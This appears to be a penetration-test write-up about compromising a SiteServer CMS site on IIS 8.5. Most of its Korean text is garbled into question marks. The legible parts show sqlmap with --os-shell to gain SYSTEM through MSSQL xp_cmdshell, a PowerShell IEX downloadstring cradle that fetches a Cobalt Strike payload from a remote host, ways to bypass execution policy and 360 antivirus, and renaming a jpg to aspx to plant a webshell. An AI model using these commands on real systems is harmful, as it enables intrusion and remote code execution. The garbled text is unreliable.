?? ??:

? ???? vue+aspx+iis8.5? ???? ???????. ??? ????? ????? ?? URL?? siteserver?? ??? ?? ??? cms? ??? ??? ?????, cms? ?? ??? ?? siteserver cms? ??? ???? ? ????. , ??? ????, ?????? ?? ??? ???? ????. ???? ??? ? ????. ??? ???? ?? + ??? ???? + ?? ?? ?? + ?? ?? ??? ????? ??? ?????. ???? ?? ???? ?? ?????? ?? ???.

??? ????? ?? ??? ?????. ??? ??? cms ????? ?? ?? ??????.

?? ???:

?????? ??? ?, ?? ??? ?? ??? ??? ???? ???????. ???? ?? ?? ???? ??? ??? ?????.

1: ??? ??? ???: ???, ?? ?? ??, ??? ??? ? ?? ?? ???? ????. ??? ? ??? ??? ?? ??????? ?? ???? ?? ??? ???? ????? ??????. , jpg? ???? ? ??? iis ??? ?? ??? ?? ??? ? ?? ?????. (??? ??? iis8.5? ?? ?? ???? ????? ????? ??? ?????).

?: "?? ??" ???? ??? ??

?? ?? ??? ??? ????? ?? sql ?? ???? ???? ??? ???? ??? ??? ?? ???? ??? ?? sqlmap? ?????. python sqlmap.py -r 1.txt .

??? ??? dba ??? ?? ??? ??????. --os-shell ??? ???? xp_cmd? ?? whoami ??? ???? ?? ?????. ?? ??? ????? ?? ?? ??? NT AUTHORITYSYSTEM??? ??? ?? ?????. ??? ??? ?? ?? ??? ? ??? ?????.

????? ?????:

??? ??? ?? ??? ??? ??? ????? ???? ?? ? ??? ? ???. ??? ?? ??? ? ?????.

vps ??, cs ??, powershell ? ??, os-shell ??, ??? ??, ??? ?????:

powershell -NoProfile -ExecutionPolicy Bypass -Command "IEX ((new-object net.webclient).downloadstring ('http://xxx:port/a'))"

?? ?? ??? ???? ??? ???? ?????. vps, dnslog? ping? ?? ? ??? ??? ??????. cmd ??? ???? powershell? ?????:

cmd .exe /c powershell -NoProfile -ExecutionPolicy Bypass -Command "IEX ((new-object net.webclient).downloadstring('http://xxx:port/a') )"

?? ??? ?? ???? ?? ??????. ????? ??? ???? ????? ???? cmd?? ^? ???? ???? ????? ????? ??? ??? ??? ?????.

??? ? ? ???? ????? 2012 r2? ??? ?? ???? ?? ??? ???? ??? ????? Get-ExecutionPolicy? ???? ????, Set-ExecutionPolicy? ???? ?????. ??? ?? ?????(?? ??? ????? ???????):

??? ??? ? ??? ?????: https://blog.netspi.com/15-ways-to-bypass-the -powershell-execution-policy/

??? ?? ?? ???? powershell ??? ????? ?????? ??? ??? ???? ?????. ?? ??? ?? ???? ?? ?????? ??? ??????. ??? ???? ?? ??? ???? ?? 360 ??? ?? ?? ??????(???? ????? ????).

?? ?? ?? ??? ?? ???? ?? ?????? ???? ??????. http://jackson-t. ca/runtime-exec-payloads.html ? powershell ??? ?? ????? ???? ?????. ??? ??? ?? ?? ?? ???? ???? ????.

?? ??? sqlmap? ???? ??? ????? ????? mssql?? mysql? ?? ??? ????(??? sqlmap? os-shell??? ??? ???? ? ??? ???? ??????(??? ??)). ?? ?? ??? ?????. ??? ? ?? ??? ?? ??? ??? ?????. ?? ??????? ???? ??? ????? ?? ????? ?? ??? ?? ?????. ?? ??? ??? ??? bingxie.jpg? ?? ?? ?? ?? ?? ??????. ?? ?? os-shell?? ?? ??? ???? ??? ??? d:abcimgbingxie.jpg d:abcimgbingxie.aspx? ?????. , ?? ?? ????? ???? ?? ?? ???? ?? ??? ??? ????.

? ??? 360? ???? ?? mssql ?? + ?????? ??? ?? ??? ?? ?????. ??? ??? PHP ??? ????? ?? ?? ??? ?????!